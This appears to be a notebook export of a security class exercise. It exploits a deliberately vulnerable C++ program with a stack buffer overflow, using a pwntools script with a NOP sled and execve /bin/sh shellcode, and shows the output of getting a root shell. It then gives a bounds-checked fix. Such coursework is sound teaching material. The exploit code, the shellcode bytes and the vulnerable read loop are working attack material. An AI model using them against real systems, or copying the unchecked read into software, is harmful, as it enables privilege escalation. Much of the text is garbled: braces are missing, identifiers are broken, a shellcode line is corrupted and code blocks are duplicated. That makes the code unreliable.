# **Python Exploit**

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## Look at StackOverflowHW.cpp

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In [1]:
         ! cat StackOverflowHW.cpp
        // Stack overflow Assignment
        #include <stdio.h>
        #include <string.h>
        #include <sys/types.h>
        #include <stdlib.h>
        #include <unistd.h>
        #include <iostream>
        using namespace std;
        #define BUFSIZE 300
        using namespace std;
        void give_shell()
          // Set the gid to the effective gid
          // this prevents /bin/sh from dropping the privileges
          gid t gid = getegid();
          setresgid(gid, gid, gid);
          system("/bin/sh");
        char *mgets(char *dst)
          char *ptr = dst;
          int ch;
          /* skip leading white spaces */
          while ((ch = getchar()) && (ch == ' ' or ch == '\t'))
            ;
          if ((ch == '\n') \text{ or } (ch == EOF))
            *ptr = '\0';
            return dst;
          else
            *ptr = ch;
```

while (true)

/\* now read the rest until \n or EOF \*/

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ch = getchar();
    if (ch == '\n' or ch == EOF)
      break;
    *(++ptr) = ch;
  *(++ptr) = 0;
  return dst;
void bad()
  char buffer[BUFSIZE];
  printf("buffer is at %p\n", buffer);
  cout << "Give me some text: ";</pre>
  fflush(stdout);
  mgets(buffer); // similar to C's gets();
  //gets(buffer); // depricated
  cout << "Acknowledged: " << buffer << " with length " << strlen(buffer) << e</pre>
ndl;
}
int main(int argc, char *argv[])
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  bad();
  cout << "Good bye!\n";</pre>
  return 0;
}
```

### Compile using g++ as x86 Linux System (using compile.sh)

[sudo] password for kali:

```
In [4]:
! python -c 'print("Hello World")' | ./StackOverflowHW.exe
```

buffer is at 0xffffbfe4 Give me some text: Acknowledged: Hello World with length 11 Good bye!

Complete the exploit code using pwntools by forcing to target program to execute give\_shell() function

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In [5]:
! pwn template ./StackOverflowHW.exe > SOHWexploit.py
```

#### Create exploit template

- Find offset using cyclic from pwntools
- Find the address of give\_shell()
- Send some junk and controlled address to execute give\_shell()

#### After adding exploit template the Python Script looks like:

```
In [1]:
        ! cat SOHWexploit.py
       #!/usr/bin/env python3
       # -*- coding: utf-8 -*-
       # This exploit template was generated via:
       # $ pwn template ./StackOverflowHW.exe
       from pwn import *
       # Set up pwntools for the correct architecture
       exe = context.binary = ELF('./StackOverflowHW.exe')
       # Many built-in settings can be controlled on the command-line and show up
       # in "args". For example, to dump all data sent/received, and disable ASLR
       # for all created processes...
       # ./exploit.py DEBUG NOASLR
       def start(argv=[], *a, **kw):
           '''Start the exploit against the target.'''
           if args.GDB:
               return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
           else:
               return process([exe.path] + argv, *a, **kw)
       # Specify your GDB script here for debugging
       # GDB will be launched if the exploit is run via e.g.
       # ./exploit.py GDB
       gdbscript = '''
       tbreak main
       continue
        '''.format(**locals())
       EXPLOIT GOES HERE
       #-----
                  i386-32-little
       # Arch:
                  Partial RELRO
       # RELRO:
       # Stack:
                  No canary found
       # NX:
                  NX disabled
```

```
# PIE: No PIE (0x8048000)
# RWX:
          Has RWX segments
io = start()
# find the offset
io.sendline(cyclic(400, n=4))
io.wait() #wait until tube is closed and coredump file is generated
core = io.corefile
payload len = cyclic find(core.read(core.esp, 4), n=4) # esp = eip+4
print(f'payload len = {payload len}')
# open next tube
io = start()
# Find the base address of buffer
# base address is printed to stdout; just grab it
io.recvuntil(' at ')
address = int(io.recvline(False), 16)
repeat ret address = p32(address)*5
# get the shellcode
#shellcode user = asm(shellcraft.sh()) # this didn't work!
#print(hexdump(shellcode user))
# x86/linux/exec: 24 bytes; copied from shellcode/x86-linux-sh.py file
shellcode user = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    b'' \times 9 \times 9 \times 2a \times 6a \times 0b \times 58 \times 2d \times 80''
)
sled len = payload len - len(repeat ret address)-len(shellcode user)
NOPSled = b'\x90'*sled_len # asm('nop')
payload = NOPSled+shellcode user+repeat ret address
io.sendline(payload)
# shellcode = asm(shellcraft.sh())
# payload = fit({
      32: 0xdeadbeef,
      'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)
# get shell
#io.sendline(b'id')
#print(io.recvline())
io.interactive()
```

## **Exploiting using Python SOHWexploit.py file**

#### **Fixed Code**

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In [2]:
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```
! cat StackOverflowHW_fixed.cpp
```

```
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <iostream>
using namespace std;
#define BUFSIZE 300
//using namespace std;
void give_shell()
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid t gid = getegid();
  setresgid(gid, gid, gid);
  system("/bin/sh");
char *mgets(char *dst)
  char *ptr = dst;
```

```
int ch;
  /* skip leading white spaces */
  while ((ch = getchar()) && (ch == ' ' or ch == '\t'));
  if ((ch == '\n') \text{ or } (ch == EOF)){}
    *ptr = '\0';
    return dst;
  }
  else{
    *ptr = ch;
  int count=(BUFSIZE-1);
  /* now read the rest until \n or EOF */
  while (count != 0)
    ch = getchar();
    if (ch == '\n' or ch == EOF)
     break;
    *(++ptr) = ch;
    count--;
  *(++ptr) = 0;
  return dst;
}
void bad()
  char buffer[BUFSIZE];
  printf("buffer is at %p\n", buffer);
  cout << "Give me some text: ";</pre>
  fflush(stdout);
  mgets(buffer); // similar to C's gets();
  //gets(buffer); // depricated
  cout << "Acknowledged: " << buffer << " with length " << strlen(buffer) << e</pre>
ndl;
}
int main(int argc, char *argv[])
  gid t gid = getegid();
  setresgid(gid, gid, gid);
  bad();
  cout << "Good bye!\n";</pre>
  return 0;
}#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <iostream>
using namespace std;
```

```
#define BUFSIZE 300
//using namespace std;
void give shell()
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  system("/bin/sh");
char *mgets(char *dst)
  char *ptr = dst;
  int ch;
  /* skip leading white spaces */
  while ((ch = getchar()) && (ch == ' ' or ch == '\t'));
  if ((ch == '\n') \text{ or } (ch == EOF)){}
    *ptr = '\0';
   return dst;
  }
  else{
     *ptr = ch;
  }
  int count=(BUFSIZE-1);
  /* now read the rest until \n or EOF */
  while (count != 0)
  {
    ch = getchar();
    if (ch == '\n' or ch == EOF)
      break;
    *(++ptr) = ch;
    count--;
  *(++ptr) = 0;
  return dst;
void bad()
  char buffer[BUFSIZE];
  printf("buffer is at %p\n", buffer);
  cout << "Give me some text: ";</pre>
  fflush(stdout);
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  cout << "Acknowledged: " << buffer << " with length " << strlen(buffer) << e</pre>
```

```
ndl;
}
int main(int argc, char *argv[])
{
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  bad();
  cout << "Good bye!\n";
  return 0;
}</pre>
```

• Running fixed code

### **Exploit to get Root Shell**

```
+] Parsing corefile ...: Done
 '/home/kali/Desktop/SystemSecurity/core.648918'
    i386-32-little
 EIP:
    0×64616164
 ESP:
    0×ffffc1b0
    '/home/kali/Desktop/SystemSecurity/StackOverflowHW.exe' (0×56555000)
 Exe:
    0×64616164
 Fault:
payload_len = 316
[+] Starting local process '/home/kali/Desktop/SystemSecurity/StackOverflowHW.exe': pid 664938
/home/kali/Desktop/SystemSecurity/SOHWexploit.py:55: BytesWarning: Text is not bytes; assuming A
SCII, no guarantees. See https://docs.pwntools.com/#bytes
io.recvuntil(' at ')
[*] Switching to interactive mode
# whoami
root
```